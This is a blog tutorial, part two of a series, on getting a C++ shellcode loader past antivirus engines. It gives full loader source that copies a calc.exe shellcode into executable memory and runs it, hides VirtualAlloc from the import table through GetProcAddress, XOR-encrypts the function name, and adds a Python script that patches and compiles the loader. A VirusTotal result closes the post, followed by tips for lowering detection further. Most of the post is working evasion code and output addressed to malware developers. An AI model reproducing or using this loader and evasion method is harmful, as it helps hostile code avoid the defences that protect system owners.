


# AV engines evasion for C++ simple malware - part 2

[cocome lonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html](https://cocome lonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html)

September 6, 2021

9 minute read

Hello, cybersecurity enthusiasts and white hackers!



```
File Actions Edit View Help
kali@kali:~ nvim enc. File Edit View Selection Find Packages Help
Project
2021-09-06-av-evasion-2
.git
enc.py
evil-enc.cpp
evil.cpp
evil.exe
README.md
evil.cpp
1 /*
2 cpp implementation malware example with calc.exe payload
3 author: @cocome lonc
4 */
5 #include <windows.h>
6 #include <stdio.h>
7 #include <stdlib.h>
8 #include <string.h>
9
10 // our payload calc.exe
11 unsigned char my_payload[] = {
12 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00,
13 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
14 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20,
15 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
16 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1,
17 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b,
18 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00,
19 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b,
20 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
21 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9,
22 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38,
23 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75,
24 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
```

This is not a tutorial to make a malware, but a practical case for educational purpose only.

This is the second part of the tutorial, firstly, I recommend that you study the [first](#) part.

In this post we will study function call obfuscation. So what is this? Why malware developers and red teamers need to learn it?

Let's consider our `evil.exe` from part 1 in [virustotal](https://www.virustotal.com/gui/file/c7393080957780bb88f7ab1fa2d19bdd1d99e9808efbfaf7989e1e15fd9587ca/detection):

<https://www.virustotal.com/gui/file/c7393080957780bb88f7ab1fa2d19bdd1d99e9808efbfaf7989e1e15fd9587ca/detection>

and go to the details tab:



### Imports

- KERNEL32.dll
  - DeleteCriticalSection
  - GetStartupInfoA
  - EnterCriticalSection
  - CreateThread
  - InitializeCriticalSection
  - GetLastError
  - WaitForSingleObject
  - VirtualQuery
  - SetUnhandledExceptionFilter
  - TlsGetValue
  - ▼
- + msvcrt.dll

Every PE module like `.exe` and `.dll` usually uses external functions. So when it is running, it will call every functions implemented in an external DLLs which will be mapped into a process memory to make this functions available to the process code.

AV industry analyze most kind of external DLLs and functions are used by the malware. It can be a good indicator if this binary is malicious or not. So AV engine analyzes a PE file on disk by looking the into its import address.

Of course this method is not bullet proof and can generate some false positives but it is a known to work in some cases and is widely used by AV engines.

So what we as a malware developers can do about it? This is where function call obfuscation comes into play. **Function Call Obfuscation** is a method of hiding your DLLs and external functions that will be called a during runtime. To do that we can use standard Windows API functions called `GetModuleHandle` and `GetProcAddress`. The former returns a handled a specified DLL and later allows you to get a memory address of the function you need and which is exported from that DLL.

So let me give you an example. So let's say your program needs to call a function called `HackAndWin` which is exported in a DLL named `hacker.dll`. So first you call `GetModuleHandle`, and then you can call `GetProcAddress` with an argument of `HackAndWin` function and in return you get in address of that function:

```
hack = GetProcAddress(GetModuleHandle("hacker.dll"), "HackAndWin");
```

So what is important here? Is that if you compile your code, compiler will not include `hacker.dll` into import address table. So AV engine will not be able to see that during static analysis.

Let's see how we can practically use this technique. Let's take a look at the source code of our first malware from [part 1](#):

```

/*
cpp implementation malware example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe
unsigned char my_payload[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
    0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
    0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
    0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
    0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
    0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
    0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
    0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
    0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
    0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
    0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
    0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
    void * my_payload_mem; // memory buffer for payload
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    // Allocate a memory buffer for payload
    my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);

    // copy payload to buffer
    RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

    // make new buffer as executable
    rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ,
&oldprotect);
}

```

```

if ( rv != 0 ) {

    // run payload
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
    WaitForSingleObject(th, -1);
}
return 0;
}

```

So this code contains very basic logic for executing payload. So in this case, for simplicity, it's not encrypted payload, it's plain payload.

```

10  unsigned char my_payload[] = {
11      0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
12      0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
13      0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
14      0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
15      0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
16      0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
17      0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
18      0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
19      0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
20      0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
21      0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
22      0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
23      0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
24      0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
25      0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
26      0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
27      0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
28      0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
29      0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
30      0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
31      0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
32      0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
33      0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
34  };

```


Let's compile it:

```

kali@kali ~/projects/cybersec_blog/2021-09-06-av-evasion-2 $ g++ x86_64-w64-mingw32-gcc -02 evil.cpp -o evil.exe -mconsole -I/usr/share/mingw-w64/include/
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
kali@kali ~/projects/cybersec_blog/2021-09-06-av-evasion-2 $ ls -l
total 24
-rw-r--r-- 1 kali kali 2584 Sep  6 16:40 evil.cpp
-rwxr-xr-x 1 kali kali 14848 Sep  6 16:45 evil.exe
-rw-r--r-- 1 kali kali 239 Sep  6 16:40 README.md
kali@kali ~/projects/cybersec_blog/2021-09-06-av-evasion-2 $

```

and run to make sure that it works:



So let's take a look into import address table.

```
objdump -x -D evil.exe | less
```

```

There is an import table in .idata at 0x408000

The Import Tables (interpreted .idata section contents)
vma:          Hint   Time   Forward  DLL      First
              Table  Stamp  Chain    Name     Thunk
00008000      0000803c 00000000 00000000 0000857c 00008194

DLL Name: KERNEL32.dll
vma:  Hint/Ord Member-Name Bound-To
82ec   252  CreateThread
82fc   283  DeleteCriticalSection
8314   319  EnterCriticalSection
832c   630  GetLastError
833c   743  GetStartupInfoA
834e   892  InitializeCriticalSection
836a   984  LeaveCriticalSection
8382  1394  SetUnhandledExceptionFilter
83a0  1410  Sleep
83a8  1445  TlsGetValue
83b6  1486  VirtualAlloc
83c6  1492  VirtualProtect
83d8  1494  VirtualQuery
83e8  1503  WaitForSingleObject

00008014      000080b4 00000000 00000000 000085f8 0000820c

DLL Name: msvcrt.dll

```

and as you can see our program is uses `KERNEL32.dll` and import all this functions:

```

CreateThread
DeleteCriticalSection
EnterCriticalSection
GetLastError
GetStartupInfoA
InitializeCriticalSection
LeaveCriticalSection
SetUnhandledExceptionFilter
Sleep
TlsGetValue
VirtualAlloc
VirtualProtect
VirtualQuery
WaitForSingleObject

```

and some of them are used in our code:

```

import table in .idata at 0x408000
...
Export Tables (interpreted .idata section contents)
...
DLL Name: KERNEL32.dll
vma: Hint/Ord Member-Name Bound-To
82ec 252 CreateThread 1
82fc 283 DeleteCriticalSection
8314 319 EnterCriticalSection
832c 630 GetLastError
833c 743 GetStartupInfoA
834e 892 InitializeCriticalSection
836a 984 LeaveCriticalSection
8382 1394 SetUnhandledExceptionFilter
83a0 1410 Sleep
83a8 1445 TlsGetValue
83b6 1486 VirtualAlloc 2
83c6 1492 VirtualProtect 3
83d8 1494 VirtualQuery
83e8 1503 WaitForSingleObject 4
...
38 void * my_payload_mem; // memory buffer for payload
39 BOOL rv;
40 HANDLE th;
41 DWORD oldprotect = 0;
42
43 // Allocate a memory buffer for payload
44 my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | ME
45
46 // copy payload to buffer
47 RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
48
49 // make new buffer as executable
50 rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE
51 if ( rv != 0 ) {
52
53 // run payload
54 th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_me
55 WaitForSingleObject(th, -1);
56
57 return 0;

```

So let's get read of `VirtualAlloc`. So how we can do that? First of all we need to find a declaration `VirtualAlloc`:

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-vir

ps / Win32 / API / System Services / Memoryapi.h / VirtualAlloc function

## VirtualAlloc function (memoryapi.h)

12/05/2018 • 7 minutes to read

Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.

To allocate memory in the address space of another process, use the [VirtualAllocEx](#) function.

### Syntax

```

C++
LPVOID VirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
);

```

### Parameters

and just a make sure that it is implemented in a `kernel32.dll`:

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-vir

## Requirements

Minimum supported client	Windows XP [desktop apps only]
Minimum supported server	Windows Server 2003 [desktop apps only]
Target Platform	Windows
Header	memoryapi.h (include Windows.h, Memoryapi.h)
Library	Kernel32.lib
DLL	Kernel32.dll

So let's create a global variable called `VirtualAlloc`, but it has to be a pointer `pVirtualAlloc` this variable will store the address to `VirtualAlloc`:

```

35 unsigned int my_payload_len = sizeof(my_payload);
36
37 // LPVOID VirtualAlloc(
38 //     LPVOID lpAddress,
39 //     SIZE_T dwSize,
40 //     DWORD flAllocationType,
41 //     DWORD flProtect
42 // );
43
44 LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
45
46 int main(void) {
47     void * my_payload_mem; // memory buffer for payload

```

And now we need to get this address via `GetProcAddress`, and we need to change the call `VirtualAlloc` to `pVirtualAlloc`:

```

43
44 LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
45
46 int main(void) {
47     void * my_payload_mem; // memory buffer for payload
48     BOOL rv;
49     HANDLE th;
50     DWORD oldprotect = 0;
51
52
53     // Allocate a memory buffer for payload
54     pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");|
55
56     my_payload_mem = pVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
57
58     // copy payload to buffer
59     RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
60
61     // make new buffer as executable
62     rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
63
64     // ...
65 }

```

Then let's go to compile it. And see again import address table:

objdump -x -D evil.exe | less

```

The Import Tables (interpreted .idata section contents)
vma:          Hint  Time      Forward  DLL      Hint      First
              Table Stamp     Chain    Name     Name      Thunk
00008000      0000803c 00000000 00000000 000085a4 0000819c

DLL Name: KERNEL32.dll
vma:  Hint/Ord Member-Name Bound-To
82fc  252  CreateThread
830c  283  DeleteCriticalSection
8324  319  EnterCriticalSection
833c  630  GetLastError
834c  651  GetModuleHandleA
8360  710  GetProcAddress
8372  743  GetStartupInfoA
8384  892  InitializeCriticalSection
83a0  984  LeaveCriticalSection
83b8  1394 SetUnhandledExceptionFilter
83d6  1410 Sleep
83de  1445 TlsGetValue
83ec  1492 VirtualProtect
83fe  1494 VirtualQuery
840e  1503 WaitForSingleObject

```

So no `VirtualAlloc` in import address table. Looks good. But, there is a caveat. When we try to extract all the strings from the our binary we will see that `VirtualAlloc` string is still there. Let's do it. run:

strings -n 8 evil.exe

```
kali@kali ~/projects/cybersec_blog/2021-09-06-av-evasion-2 master ± objdump -x -D evil.exe | less
kali@kali ~/projects/cybersec_blog/2021-09-06-av-evasion-2 master ± strings -n 8 evil.exe
!This program cannot be run in DOS mode.
`@.pdata
0@.xdata
AUATUWVSH
[^_]\A\A]
[^_]\A\A]
UAWAVAUATWVSH
[^_]\A\A]\A\A_]
:MZuWHcB<H
AQAPRQVH1
AXAX^YZAXAYAZH
calc.exe
kernel32.dll
VirtualAlloc
Unknown error
Argument domain error (DOMAIN)
Overflow range error (OVERFLOW)
Partial loss of significance (PLOSS)
Total loss of significance (TLOSS)
The result is too small to be represented (UNDERFLOW)
Argument singularity (SIGN)
_matherr(): %s in %s(%g, %g) (retval=%g)
Mingw-w64 runtime failure:
Address %p has no image-section
```

as you can see it is here. The reason is that we are using the stream in cleartext when we are calling `GetProcAddress`.

So what we can do about it?

The way is we can remove that. We can use XOR function for encrypt/decrypt, we used before, so let's do that. Firstly, add XOR function to our `evil.cpp` malware source code:

```
44 LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
45
46 void XOR(char * data, size_t data_len, char * key, size_t key_len) {
47     int j;
48     j = 0;
49     for (int i = 0; i < data_len; i++) {
50         if (j == key_len - 1) j = 0;
51         data[i] = data[i] ^ key[j];
52         j++;
53     }
54 }
```

For that we will need encryption key and some string. And let's say string as `cVirtualAlloc` and modify our code:

```
37 // XOR encrypted VirtualAlloc
38 unsigned char cVirtualAlloc[] = { };
39 unsigned int cVirtualAllocLen = sizeof(cVirtualAlloc);
40
41 // encrypt/decrypt key
42 char mySecretKey[] = "meowmeow";
```

add XOR decryption:

```
63 int main(void) {
64     void * my_payload_mem; // memory buffer for payload
65     BOOL rv;
66     HANDLE th;
67     DWORD oldprotect = 0;
68
69
70     XOR((char *) cVirtualAlloc, cVirtualAllocLen, mySecretKey, sizeof(mySecretKey));
71
72     // Allocate a memory buffer for payload
73     pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.dll"), cVirtualAlloc);
74
75     my_payload_mem = pVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
76
77     // copy payload to buffer
78     RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
79
```

So, the final version of our malware code is:

```

/*
cpp implementation malware example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe
unsigned char my_payload[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
    0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
    0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
    0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
    0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
    0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
    0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
    0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
    0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
    0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
    0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
    0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);

// XOR encrypted VirtualAlloc
unsigned char cVirtualAlloc[] = { };
unsigned int cVirtualAllocLen = sizeof(cVirtualAlloc);

// encrypt/decrypt key
char mySecretKey[] = "meowmeow";

// LPVOID VirtualAlloc(
//     LPVOID lpAddress,
//     SIZE_T dwSize,
//     DWORD flAllocationType,
//     DWORD flProtect
// );

LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD
flAllocationType, DWORD flProtect);

```

```

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int j;
    j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;
        data[i] = data[i] ^ key[j];
        j++;
    }
}

int main(void) {
    void * my_payload_mem; // memory buffer for payload
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    XOR((char *) cVirtualAlloc, cVirtualAllocLen, mySecretKey, sizeof(mySecretKey));

    // Allocate a memory buffer for payload
    pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.dll"), cVirtualAlloc);

    my_payload_mem = pVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE);

    // copy payload to buffer
    RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

    // make new buffer as executable
    rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ,
    &oldprotect);
    if ( rv != 0 ) {

        // run payload
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }
    return 0;
}

```

And use python script to XOR encrypt our function name and replace:

```

import sys
import os
import hashlib
import string

## XOR function to encrypt data
def xor(data, key):
    key = str(key)
    l = len(key)
    output_str = ""

    for i in range(len(data)):
        current = data[i]
        current_key = key[i % len(key)]
        ordd = lambda x: x if isinstance(x, int) else ord(x)
        output_str += chr(ordd(current) ^ ordd(current_key))
    return output_str

## encrypting
def xor_encrypt(data, key):
    ciphertext = xor(data, key)
    ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };'
    print (ciphertext)
    return ciphertext, key

## key for encrypt/decrypt
plaintext = "VirtualAlloc"
my_secret_key = "meowmeow"

## encrypt VirtualAlloc
ciphertext, p_key = xor_encrypt(plaintext, my_secret_key)

## open and replace our payload in C++ code
tmp = open("evil.cpp", "rt")
data = tmp.read()
data = data.replace('unsigned char cVirtualAlloc[] = { };', 'unsigned char
cVirtualAlloc[] = ' + ciphertext)
tmp.close()
tmp = open("evil-enc.cpp", "w+")
tmp.write(data)
tmp.close()

## compile
try:
    cmd = "x86_64-w64-mingw32-gcc evil-enc.cpp -o evil.exe -s -ffunction-sections -
fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-
libstdc++ -static-libgcc >/dev/null 2>&1"
    os.system(cmd)
except:
    print ("error compiling malware template :(")
    sys.exit()
else:

```



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22 security vendors flagged this file as malicious

bf21d0af617f1bad81ea178963d70602340d85145b96aba330018259bd02fe56  
evil.exe  
15.50 KB Size  
2021-09-06 18:57:45 UTC  
1 minute ago

64bits assembly peexe

DETECTION	DETAILS	BEHAVIOR	COMMUNITY
Ad-Aware	Generic.Exploit.Metasploit.2.9EEDD073	AhnLab-V3	Malware/Win64.Generic.R373557
ALYac	Generic.Exploit.Metasploit.2.9EEDD073	SecureAge APEX	Malicious
Avast	Win32:Metasploit-D [Expl]	AVG	Win32:Metasploit-D [Expl]
Avira (no cloud)	BDS/ShellCodeF.641	BitDefender	Generic.Exploit.Metasploit.2.9EEDD073
Cynet	Malicious (score: 100)	Elastic	Malicious (high Confidence)
Emsisoft	Generic.Exploit.Metasploit.2.9EEDD073 (B)	eScan	Generic.Exploit.Metasploit.2.9EEDD073

<https://www.virustotal.com/gui/file/bf21d0af617f1bad81ea178963d70602340d85145b96aba330018259bd02fe56/detection>

**So, 22 of of 66 AV engines detect our file as malicious.**

Other functions can be obfuscated to reduce the number of AV engines that detect our malware. For better result we can combine payload encryption with random key and obfuscate functions with another keys etc.

[Source code in Github](#)

As a result of my research, my project [peekaboo](#) appeared.  
Simple undetectable shellcode and code injector launcher example.

Thanks for your time, and good bye!  
*PS. All drawings and screenshots are mine*